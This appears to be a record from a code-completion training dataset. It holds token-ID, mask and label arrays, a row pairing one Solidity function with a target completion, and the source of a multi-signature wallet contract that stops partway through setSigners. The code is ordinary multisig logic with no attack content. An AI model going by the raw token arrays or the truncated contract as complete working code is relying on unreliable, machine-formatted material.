0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
16351,
804,
13372,
12236,
5349,
353,
1772,
10784,
429,
16,
3123,
5331,
429,
57,
288,
203,
565,
1450,
14060,
10477,
10784,
429,
364,
2254,
5034,
31,
203,
565,
1450,
14060,
654,
39,
3462,
10784,
429,
364,
467,
654,
39,
3462,
10784,
429,
31,
203,
203,
203,
683,
9454,
18035,
560,
374,
18,
28,
18,
26,
31,
203,
565,
1958,
28932,
966,
288,
203,
3639,
1758,
3091,
31,
203,
3639,
2254,
5034,
4993,
31,
203,
565,
289,
203,
203,
565,
1958,
776,
10100,
966,
288,
203,
565,
289,
203,
203,
565,
1958,
25003,
288,
203,
565,
289,
203,
203,
203,
565,
2254,
2313,
1071,
9787,
345,
22498,
1016,
31,
203,
203,
565,
2254,
28,
1071,
385,
6266,
67,
23816,
55,
31,
203,
203,
203,
565,
2254,
5034,
1071,
17127,
900,
67,
7570,
31,
203,
565,
2254,
5034,
1071,
17127,
900,
67,
24951,
31,
203,
203,
203,
565,
1758,
8526,
1071,
729,
13811,
31,
203,
203,
565,
2254,
5034,
1071,
2078,
55,
1673,
6275,
31,
203,
565,
2254,
5034,
1071,
2078,
27055,
6275,
31,
7010,
203,
565,
871,
13899,
1190,
9446,
329,
12,
2867,
8808,
5405,
343,
14558,
16,
2254,
5034,
1147,
6275,
1769,
203,
203,
565,
467,
654,
39,
3462,
10784,
429,
1071,
31841,
1345,
31,
203,
565,
467,
654,
39,
3462,
10784,
429,
1071,
619,
43,
1527,
1345,
31,
203,
565,
1758,
8526,
1071,
9787,
345,
22498,
13811,
31,
203,
565,
28932,
966,
8526,
1071,
13170,
682,
31,
203,
565,
2254,
28,
1071,
776,
11027,
1360,
67,
9199,
31,
203,
565,
1426,
1071,
17127,
2
]
|
./full_match/1/0x3171aD5642a8E998763045C31edb1c8C92b0673A/sources/contracts/MIYAKO_Edition.sol | function _isFreeLock(uint256 tokenId) internal view returns (uint256){ return tokenHoldInfo[tokenId].get16(1); } | function _isOptionalLock(uint256 tokenId) internal view returns (uint256){
return tokenHoldInfo[tokenId].get16(2);
}
| 17,194,038 | [
1,
915,
389,
291,
9194,
2531,
12,
11890,
5034,
1147,
548,
13,
2713,
1476,
1135,
261,
11890,
5034,
15329,
377,
327,
1147,
20586,
966,
63,
2316,
548,
8009,
588,
2313,
12,
21,
1769,
289,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
389,
291,
6542,
2531,
12,
11890,
5034,
1147,
548,
13,
2713,
1476,
1135,
261,
11890,
5034,
15329,
203,
3639,
327,
1147,
20586,
966,
63,
2316,
548,
8009,
588,
2313,
12,
22,
1769,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity >=0.5.0 <0.6.0;
/**
Author: Sik Jean Soon
**/
/**
* @title SafeMath for uint256
* @dev Math operations with safety checks that throw on error
*/
library SafeMathUint256 {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "Multiplier exception");
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b; // Solidity automatically throws when dividing by 0
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "Subtraction exception");
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
require(c >= a, "Addition exception");
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "Modulo exception");
return a % b;
}
}
/**
* @title SafeMath for uint8
* @dev Math operations with safety checks that throw on error
*/
library SafeMathUint8 {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint8 a, uint8 b) internal pure returns (uint8 c) {
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "Multiplier exception");
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint8 a, uint8 b) internal pure returns (uint8) {
return a / b; // Solidity automatically throws when dividing by 0
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint8 a, uint8 b) internal pure returns (uint8) {
require(b <= a, "Subtraction exception");
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint8 a, uint8 b) internal pure returns (uint8 c) {
c = a + b;
require(c >= a, "Addition exception");
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint8 a, uint8 b) internal pure returns (uint8) {
require(b != 0, "Modulo exception");
return a % b;
}
}
contract Common {
bytes32 internal LABEL_CODE_STAKER;
bytes32 internal LABEL_CODE_STAKER_CONTROLLER;
bytes32 internal LABEL_CODE_SIGNER_CONTROLLER;
bytes32 internal LABEL_CODE_SIGNER;
bytes32 internal LABEL_CODE_BACKSYS;
bytes32 internal LABEL_CODE_OPS;
uint8 constant internal MAX_WALLET = 64;
uint256 constant internal WALLET_FLAG_ALL = (2 ** (uint256(MAX_WALLET))) - 1;
constructor() public
{
LABEL_CODE_STAKER = encodePacked("STAKER");
LABEL_CODE_STAKER_CONTROLLER = encodePacked("STAKER_CONTROLLER");
LABEL_CODE_SIGNER_CONTROLLER = encodePacked("SIGNER_CONTROLLER");
LABEL_CODE_SIGNER = encodePacked("SIGNER");
LABEL_CODE_BACKSYS = encodePacked("BACKSYS");
LABEL_CODE_OPS = encodePacked("OPS");
}
function encodePacked(string memory s) internal pure
returns (bytes32)
{
return keccak256(abi.encodePacked(s));
}
function convertBytesToBytes4(bytes memory _in) internal pure
returns (bytes4 out)
{
if (0 == _in.length)
return 0x0;
assembly {
out := mload(add(_in, 32))
}
}
function isContract(address _address) internal view
returns (bool)
{
uint32 size;
assembly {
size := extcodesize(_address)
}
return (0 < size);
}
}
contract Label is Common {
string public class;
string public label;
string public description;
bytes32 public classCode;
bytes32 public labelCode;
constructor(string memory _class, string memory _label, string memory _description) public
{
class = _class;
label = _label;
description = _description;
classCode = encodePacked(_class);
labelCode = encodePacked(_label);
}
}
contract MultiSigNode is Label {
using SafeMathUint8 for uint8;
address payable public root;
address public parent;
// wallet index => wallet address
mapping(uint8 => address) public wallets;
// wallet address => wallet bit position
mapping(address => uint8) public walletsIndex;
// Normal wallet
uint8 public walletCount;
// Total wallet = normal wallet + contract wallet
uint8 public totalWallet;
modifier onlyRoot() {
require(msg.sender == root, "Node.onlyRoot: Access denied");
_;
}
constructor(address payable _root, address[] memory _wallets, string memory _label, string memory _description) public
Label("NODE", _label, _description)
{
require(address(0) != _root, "Node: Root address is empty");
require(MAX_WALLET >= _wallets.length, "Node: Wallet list exceeded limit");
root = _root;
for (uint8 i = 1; _wallets.length >= i; i = i.add(1)) {
address wallet = _wallets[i.sub(1)];
require(address(0) != wallet, "Node: Wallet address is empty");
require(0 == walletsIndex[wallet], "Node: Duplicated wallet address");
wallets[i] = wallet;
walletsIndex[wallet] = i;
if (!isContract(wallet))
walletCount = walletCount.add(1);
}
totalWallet = uint8(_wallets.length);
}
function init(address _parent) external
onlyRoot
{
parent = _parent;
if (0 < totalWallet) {
uint8 count = 0;
for (uint8 i = 1; i <= MAX_WALLET && count <= totalWallet; i = i.add(1)) {
address wallet = wallets[i];
if (address(0) != wallet) {
count = count.add(1);
// Notify root this attached wallet, root will set parent address (if this is node)
MultiSigRoot(root).attachWalletOrNode(wallet);
}
}
}
}
function term() external
onlyRoot
{
if (0 < totalWallet) {
uint8 count = 0;
for (uint8 i = 1; i <= MAX_WALLET && count <= totalWallet; i = i.add(1)) {
address wallet = wallets[i];
if (address(0) != wallet) {
count = count.add(1);
// Notify root to remove this wallet from list
MultiSigRoot(root).detachWalletOrNode(wallet);
}
}
}
}
function attach(uint8 _index, address _wallet) external
onlyRoot
returns (bool)
{
require(0 < _index && MAX_WALLET >= _index, "Node.attach: Index out of range");
require(address(0) != _wallet, "Node.attach: Wallet address is empty");
require(0 == walletsIndex[_wallet], "Node.attach: Duplicated wallet address");
if (address(0) != wallets[_index])
detach(wallets[_index]);
walletsIndex[_wallet] = _index;
wallets[_index] = _wallet;
if (!isContract(_wallet))
walletCount = walletCount.add(1);
totalWallet = totalWallet.add(1);
// Notify root this attached wallet, root will trigger attach operation (if this wallet is a contract)
MultiSigRoot(root).attachWalletOrNode(_wallet);
return true;
}
function detach(address _wallet) public
onlyRoot
returns (bool)
{
require(address(0) != _wallet, "Node.detach: Wallet address is empty");
uint8 index = walletsIndex[_wallet];
require(0 < index && MAX_WALLET >= index, "Node.detach: Wallet address is not registered");
if (!isContract(_wallet))
walletCount = walletCount.sub(1);
totalWallet = totalWallet.sub(1);
delete wallets[index];
delete walletsIndex[_wallet];
// Notify root to remove this wallet from list
MultiSigRoot(root).detachWalletOrNode(_wallet);
return true;
}
function getRootNode() external view
returns (address)
{
if (address(0) == parent)
return address(this);
return MultiSigNode(parent).getRootNode();
}
}
/**
* NOTE: Regulator is meant for changable rules for multi-sig
*/
contract MultiSigRegulator is Label {
using SafeMathUint8 for uint8;
using SafeMathUint256 for uint256;
event TransactionLimitChanged(string requirementType, uint256 limit);
address payable public root;
address private creator;
// Cached parameters
address private argTo;
uint256 private argValue;
bool public isSealed;
// Daily transaction limit (mapped: requirement type => TransactionLimit)
mapping(bytes32 => TransactionLimit) public transactionLimits;
struct TransactionLimit {
uint256 datetime;
uint256 volume;
uint256 upperLimit;
}
modifier onlySealed() {
require(isSealed, "Regulator.onlySealed: Not sealed");
_;
}
modifier onlyMe() {
require(msg.sender == address(this), "Regulator.onlyMe: Access denied");
_;
}
modifier onlyRoot() {
require(msg.sender == root, "Regulator.onlyRoot: Access denied");
_;
}
modifier onlyCreator() {
require(msg.sender == creator, "Regulator.onlyCreator: Access denied");
_;
}
/**
* Supported non-payable default function
*/
function () external
onlyMe
onlySealed
{
revert("Regulator: Not supported");
}
constructor(address payable _root, string memory _label, string memory _description) public
Label("REGULATOR", _label, _description)
{
require(address(0) != _root, "Regulator: Root address is empty");
root = _root;
creator = msg.sender;
}
/**
* Supported non-payable function: ERC_ER_SHI.increaseSupply
* Only can be called by this contract itself to resolve calldata
*/
function increaseSupply(uint256 _value, address /* _to */) external
onlyMe
onlySealed
{
defaultRequirement("increaseSupply", _value);
}
/**
* Supported non-payable function: ERC_ER_SHI.decreaseSupply
* Only can be called by this contract itself to resolve calldata
*/
function decreaseSupply(uint256 _value, address /* _from */) external
onlyMe
onlySealed
{
defaultRequirement("decreaseSupply", _value);
}
/**
* Supported non-payable function: ERC_ER_SHI.freeze
* Only can be called by this contract itself to resolve calldata
*/
function freeze(address /* _from */, uint256 /* _value */) external
onlyMe
onlySealed
{
requirement1Backsys();
}
/**
* Supported non-payable function: ERC_ER_SHI.unfreeze
* Only can be called by this contract itself to resolve calldata
*/
function unfreeze(address /* _from */, uint256 /* _value */) external
onlyMe
onlySealed
{
requirement1Backsys();
}
/**
* Supported non-payable function: ERC_ER_SHI.freezeAddress
* Only can be called by this contract itself to resolve calldata
*/
function freezeAddress(address /* _addressOf */) external
onlyMe
onlySealed
{
requirement1Backsys();
}
/**
* Supported non-payable function: ERC_ER_SHI.unfreezeAddress
* Only can be called by this contract itself to resolve calldata
*/
function unfreezeAddress(address /* _addressOf */) external
onlyMe
onlySealed
{
requirement1Backsys();
}
/**
* Supported non-payable function: Ownership.acceptOwnership
* Only can be called by this contract itself to resolve calldata
*/
function acceptOwnership () external
onlyMe
onlySealed
{
requirement(LABEL_CODE_OPS, 2, 1); // INDEX 2: ONE SIGNABLE
requirement(LABEL_CODE_SIGNER_CONTROLLER, 1, 1); // INDEX 1: ONE SIGNABLE
}
/**
* Supported non-payable function: Ownership.transferOwnership
* Only can be called by this contract itself to resolve calldata
*/
function transferOwnership (address payable /* _newOwner */) external
onlyMe
onlySealed
{
requirement(LABEL_CODE_STAKER, WALLET_FLAG_ALL, 1); // ANY ONE SIGNABLE
requirement(LABEL_CODE_STAKER_CONTROLLER, WALLET_FLAG_ALL, uint8(-1)); // ALL SIGNABLE
requirement(LABEL_CODE_SIGNER_CONTROLLER, WALLET_FLAG_ALL, 1); // ANY ONE SIGNABLE
}
/**
* Supported non-payable function: Controllable.pause
* Only can be called by this contract itself to resolve calldata
*/
function pause () external
onlyMe
onlySealed
{
requirement(LABEL_CODE_STAKER_CONTROLLER, WALLET_FLAG_ALL, 1); // ANY ONE SIGNABLE
}
/**
* Supported non-payable function: Controllable.resume
* Only can be called by this contract itself to resolve calldata
*/
function resume () external
onlyMe
onlySealed
{
requirement(LABEL_CODE_STAKER_CONTROLLER, WALLET_FLAG_ALL, 2); // ANY TWO SIGNABLE
}
/**
* Supported non-payable function: MultiSigRegulator.setTransactionLimit
*/
function setTransactionLimit(string calldata _requirementType, uint256 _limit) external
{
if (msg.sender == root || !isSealed) {
// Set transaction limit
transactionLimits[encodePacked(_requirementType)].upperLimit = _limit;
emit TransactionLimitChanged(_requirementType, _limit);
}
else {
require(msg.sender == address(this), "Regulator.setTransactionLimit: Access denied");
// Create requirements for this transaction
requirement(LABEL_CODE_STAKER_CONTROLLER, WALLET_FLAG_ALL, 2); // ANY TWO SIGNABLE
}
}
function seal() external
onlyCreator
{
require(!isSealed, "Regulator.seal: Access denied");
isSealed = true;
}
function createRequirement(uint256 /* _transactionCode */, address /* _from */, address _to, uint256 _value, bytes calldata _data) external
onlyRoot
{
// Cache parameters
argTo = _to;
argValue = _value;
// Perform self call to determine function details for requirement setup
(bool success, bytes memory returnData) = address(this).call.value(_value)(_data);
if (!success) {
// Check the error string is available or not
if (0 == returnData.length || bytes4(0x08c379a0) != convertBytesToBytes4(returnData))
revert("Regulator.createRequirement: Function call failed");
else {
bytes memory bytesArray = new bytes(returnData.length);
for (uint256 i = 0; i < returnData.length.sub(4); i = i.add(1)) {
bytesArray[i] = returnData[i.add(4)];
}
(string memory reason) = abi.decode(bytesArray, (string));
revert(reason);
}
}
}
function requirement(bytes32 _labelCode, uint256 _flag, uint8 _required) private
{
MultiSigRoot(root).createRequirement(_labelCode, _flag, _required);
}
function defaultRequirement(string memory _requirementType, uint256 _value) private
{
bytes32 t = encodePacked(_requirementType);
// Check transaction volume limit
TransactionLimit storage limit = transactionLimits[t];
// Check transaction volume limit
if (0 < limit.upperLimit) {
// Truncate timestamp (YYYYMMDD) to daily (UTC time)
uint256 dt = now - (now % 86400);
if (dt == limit.datetime)
limit.volume = limit.volume.add(_value);
else {
// Reset volume on new day
limit.datetime = dt;
limit.volume = _value;
}
require(limit.upperLimit >= limit.volume, "Regulator.defaultRequirement: Exceeded limit");
}
// Create requirement for this transaction
requirement(LABEL_CODE_OPS, WALLET_FLAG_ALL, 4); // ANY FOUR SIGNABLE
}
function requirement1Backsys() private
{
requirement(LABEL_CODE_BACKSYS, WALLET_FLAG_ALL, 1); // ANY ONE SIGNABLE
}
}
contract MultiSigRoot is Label {
using SafeMathUint8 for uint8;
using SafeMathUint256 for uint256;
uint8 constant private WALLET_TYPE_WALLET = 1;
uint8 constant private WALLET_TYPE_NODE = 2;
uint8 constant private TRANSACTION_STATUS_EMPTY = 0;
uint8 constant private TRANSACTION_STATUS_PENDING = 1;
uint8 constant private TRANSACTION_STATUS_EXECUTED = 2;
uint8 constant private TRANSACTION_STATUS_FAILURE = 3;
uint8 constant private TRANSACTION_STATUS_REVOKED = 4;
event Confirmation(address indexed sender, uint256 indexed transactionCode);
event Revocation(address indexed sender, uint256 indexed transactionCode);
event Submission(uint256 indexed transactionCode);
event Requirement(uint256 indexed transactionCode, bytes32 labelCode, uint256 flag, uint8 required);
event Execution(uint256 indexed transactionCode);
event ExecutionFailure(uint256 indexed transactionCode);
event Deposit(address indexed sender, uint256 value);
event StakersChanged(address indexed stakers);
event SignersChanged(address indexed signers);
event RegulatorChanged(address indexed regulator);
event StakersControllerChanged(address indexed stakersController);
event SignersControllerChanged(address indexed signersController);
event WalletOrNodeAttached(address indexed wallet);
event WalletOrNodeDetached(address indexed wallet);
address public stakers;
address public signers;
address public stakersController;
address public signersController;
address public regulator;
// Transaction (mapped: transactionCode => Transaction)
mapping(uint256 => Transaction) public transactions;
uint256 public transactionCode;
// Requirement (mapped: transactionCode + label code => requirement)
mapping(uint256 => mapping(bytes32 => TransactionRequirement)) public requirements;
// Prevent duplicated confirmation (mapped: transactionCode + wallet address => bool)
mapping(uint256 => mapping(address => bool)) public confirmations;
// Registered wallets or nodes (mapped: address => type)
mapping(address => uint8) public registered;
// Search node address by wallet address (mapped: wallet address => node address)
mapping(address => address) public walletToNodes;
// Search wallet index by wallet address (mapped: wallet address => wallet index)
mapping(address => uint8) private walletToIndexes;
// Search label code by wallet address (mapped: wallet address => label code)
mapping(address => bytes32) private walletToLabelCodes;
// Search node address by label code (mapped: label code => node address)
mapping(bytes32 => address) private labelCodeToNodes;
struct Transaction {
uint8 status;
uint8 totalRequired;
address to;
uint256 value;
bytes data;
string reason;
}
struct TransactionRequirement {
uint8 required;
uint256 flag;
}
modifier onlyEligible(uint256 _transactionCode) {
require(isEligible(_transactionCode, msg.sender), "Root.onlyEligible: Not eligible");
_;
}
modifier onlySignable(uint256 _transactionCode) {
require(isSignable(_transactionCode, msg.sender), "Root.onlySignable: Not signable");
_;
}
modifier onlyNode() {
require(WALLET_TYPE_NODE == registered[msg.sender], "Root.onlyNode: Access denied");
_;
}
modifier onlyWallet() {
require(WALLET_TYPE_WALLET == registered[msg.sender], "Root.onlyWallet: Access denied");
require(!isContract(msg.sender), "Root.onlyWallet: Is not node");
_;
}
modifier onlyRegulator() {
require(msg.sender == regulator, "Root.onlyRegulator: Access denied");
_;
}
constructor(string memory _label, string memory _description) public
Label("ROOT", _label, _description)
{
}
function () external payable
{
if (0 < msg.value)
emit Deposit(msg.sender, msg.value);
}
function isEligible(uint256 _transactionCode, address _sender) public view
returns (bool)
{
uint256 flag = requirements[_transactionCode][walletToLabelCodes[_sender]].flag;
if (0 != flag) {
uint8 index = walletToIndexes[_sender];
if (0 != index) {
index = index.sub(1);
// Check the bit is on for wallet index
return (0 != ((flag >> index) & 1));
}
}
return false;
}
function isSignable(uint256 _transactionCode, address _sender) public view
returns (bool)
{
if (TRANSACTION_STATUS_PENDING == transactions[_transactionCode].status) {
if (!confirmations[_transactionCode][_sender]) {
if (0 != requirements[_transactionCode][walletToLabelCodes[_sender]].required)
return true;
}
}
return false;
}
function createRequirement(bytes32 _labelCode, uint256 _flag, uint8 _required) external
onlyRegulator
{
setRequirement(_labelCode, _flag, _required);
}
function setRequirement(bytes32 _labelCode, uint256 _flag, uint8 _required) private
{
require(0 < _flag, "Root.setRequirement: Confirmation flag is empty");
uint8 totalRequired;
// Required all wallet in the node
if (uint8(-1) == _required) {
address node = labelCodeToNodes[_labelCode];
require(address(0) != node, "Root.setRequirement: Node is not found");
totalRequired = MultiSigNode(node).walletCount();
if (node != signers) {
// Stakers and controllers must have at least 1 wallet attached
require(0 < totalRequired, "Root.setRequirement: No wallet");
}
else {
// Signer node allowed to be empty
if (0 == totalRequired)
return;
}
require(0 < totalRequired, "Root.setRequirement: Confirmation required is empty");
}
else {
// allowed 0 requirement, in order to support eligible user but not signable (view transaction only)
totalRequired = _required;
}
require(0 == requirements[transactionCode][_labelCode].flag, "Root.setRequirement: Duplicated requirement");
requirements[transactionCode][_labelCode] = TransactionRequirement({
required: totalRequired,
flag: _flag
});
// Increase total required in transaction
transactions[transactionCode].totalRequired = transactions[transactionCode].totalRequired.add(totalRequired);
emit Requirement(transactionCode, _labelCode, _flag, totalRequired);
}
function submit(address _to, uint256 _value, bytes calldata _data) external
onlyWallet
returns (uint256 /* transactionCode */)
{
require(address(0) != _to, "Root.submit: Target address is empty");
// Generate transaction id
transactionCode = transactionCode.add(1);
bytes4 functionId = convertBytesToBytes4(_data);
// Create requirement that based on destination address
if (address(this) != _to) {
// Check this is node address or not
if (WALLET_TYPE_NODE == registered[_to]) {
// Calling node function
// - 0x80882800: node.attach
// - 0xceb6c343: node.detach
if (bytes4(0x80882800) == functionId || bytes4(0xceb6c343) == functionId) { // node.attach or node.detach
address rootNode = MultiSigNode(_to).getRootNode();
if (rootNode == signers) {
// Change SIGNER need ALL SIGNER_CONTROLLER
setRequirement(LABEL_CODE_SIGNER_CONTROLLER, WALLET_FLAG_ALL, uint8(-1)); // ALL signable
}
else if (rootNode == signersController || rootNode == stakersController) {
// Change SIGNERS_CONTROLLER or STAKER_CONTROLLER need ALL STAKER
setRequirement(LABEL_CODE_STAKER, WALLET_FLAG_ALL, uint8(-1)); // ALL signable
}
else if (rootNode == stakers) {
// Change STAKER need ALL STAKER_CONTROLLER
setRequirement(LABEL_CODE_STAKER_CONTROLLER, WALLET_FLAG_ALL, uint8(-1)); // ALL signable
}
else {
revert("Root.submit: Unknown node");
}
}
else
revert("Root.submit: Not supported");
}
else {
// Regulator create requirement
MultiSigRegulator(regulator).createRequirement(transactionCode, msg.sender, _to, _value, _data);
}
}
else {
// Calling self functions
// - 0xcde0a4f8: root.setRegulator
// - 0xb47876ea: root.setSigners
// - 0xc27dbe63: root.setStakers
// - 0x26bc178c: root.setStakersController
// - 0x51d996bf: root.setSignersController
if (bytes4(0xcde0a4f8) == functionId || bytes4(0xc27dbe63) == functionId) // setRegulator or setStakers
setRequirement(LABEL_CODE_STAKER_CONTROLLER, WALLET_FLAG_ALL, uint8(-1)); // ALL signable
else if (bytes4(0x26bc178c) == functionId || bytes4(0x51d996bf) == functionId) // setStakersController or setSignersController
setRequirement(LABEL_CODE_STAKER, WALLET_FLAG_ALL, uint8(-1)); // ALL signable
else if (bytes4(0xb47876ea) == functionId) // setSigners
setRequirement(LABEL_CODE_SIGNER_CONTROLLER, WALLET_FLAG_ALL, uint8(-1)); // ALL signable
else
revert("Root.submit: Not supported");
}
require(0 < transactions[transactionCode].totalRequired, "Root.submit: Requirement is empty");
// Create transaction structure
transactions[transactionCode] = Transaction({
status: TRANSACTION_STATUS_PENDING,
totalRequired: transactions[transactionCode].totalRequired,
to: _to,
value: _value,
data: _data,
reason: ""
});
emit Submission(transactionCode);
// Confirm transaction if eligible and signable
if (isEligible(transactionCode, msg.sender) && isSignable(transactionCode, msg.sender))
confirmTransaction(transactionCode, transactions[transactionCode]);
return transactionCode;
}
function confirm(uint256 _transactionCode) external
onlyWallet
onlyEligible(_transactionCode)
onlySignable(_transactionCode)
returns (bool)
{
Transaction storage transaction = transactions[_transactionCode];
return confirmTransaction(_transactionCode, transaction);
}
function revoke(uint256 _transactionCode) external
onlyWallet
onlyEligible(_transactionCode)
returns (bool)
{
require(TRANSACTION_STATUS_PENDING == transactions[_transactionCode].status, "Root.revoke: Transaction has been completed");
transactions[_transactionCode].status = TRANSACTION_STATUS_REVOKED;
emit Revocation(msg.sender, _transactionCode);
return true;
}
function confirmTransaction(uint256 _transactionCode, Transaction storage _transaction) private
returns (bool)
{
TransactionRequirement storage requirement = requirements[_transactionCode][walletToLabelCodes[msg.sender]];
require(0 != requirement.flag && 0 != requirement.required, "Root.confirmTransaction: Requirement is empty");
// Prevent duplicated confirmation
require(!confirmations[_transactionCode][msg.sender], "root.confirmTransaction: Duplicated confirmation");
confirmations[_transactionCode][msg.sender] = true;
requirement.required = requirement.required.sub(1);
_transaction.totalRequired = _transaction.totalRequired.sub(1);
emit Confirmation(msg.sender, _transactionCode);
return executeTransaction(_transactionCode, _transaction);
}
function executeTransaction(uint256 _transactionCode, Transaction storage _transaction) private
returns (bool)
{
require(TRANSACTION_STATUS_PENDING == _transaction.status, "Root.executeTransaction: Status not active");
if (0 == _transaction.totalRequired) {
_transaction.status = TRANSACTION_STATUS_EXECUTED;
// Perform remote call
(bool success, bytes memory returnData) = _transaction.to.call.value(_transaction.value)(_transaction.data);
if (success)
emit Execution(_transactionCode);
else {
// Check the error string is available or not
if (0 == returnData.length || bytes4(0x08c379a0) != convertBytesToBytes4(returnData))
_transaction.reason = "Root.executeTransaction: Function call failed";
else {
bytes memory bytesArray = new bytes(returnData.length);
for (uint256 i = 0; i < returnData.length.sub(4); i = i.add(1)) {
bytesArray[i] = returnData[i.add(4)];
}
(string memory reason) = abi.decode(bytesArray, (string));
_transaction.reason = reason;
}
_transaction.status = TRANSACTION_STATUS_FAILURE;
emit ExecutionFailure(_transactionCode);
}
return success;
}
return true;
}
function setRegulator(address _addressOf) external
{
if (address(0) != regulator)
require(msg.sender == address(this), "Root.setRegulator: Access denied");
require(MultiSigRegulator(_addressOf).isSealed(), "Root.setRegulator: Regulator is not sealed");
regulator = setNode(regulator, _addressOf, false);
emit RegulatorChanged(regulator);
}
function setStakers(address _addressOf) external
{
if (address(0) != stakers)
require(msg.sender == address(this), "Root.setStakers: Access denied");
if (isContract(_addressOf))
require(0 < MultiSigNode(_addressOf).walletCount(), "Root.setStakers: No wallet");
stakers = setNode(stakers, _addressOf, true);
emit StakersChanged(stakers);
}
function setSigners(address _addressOf) external
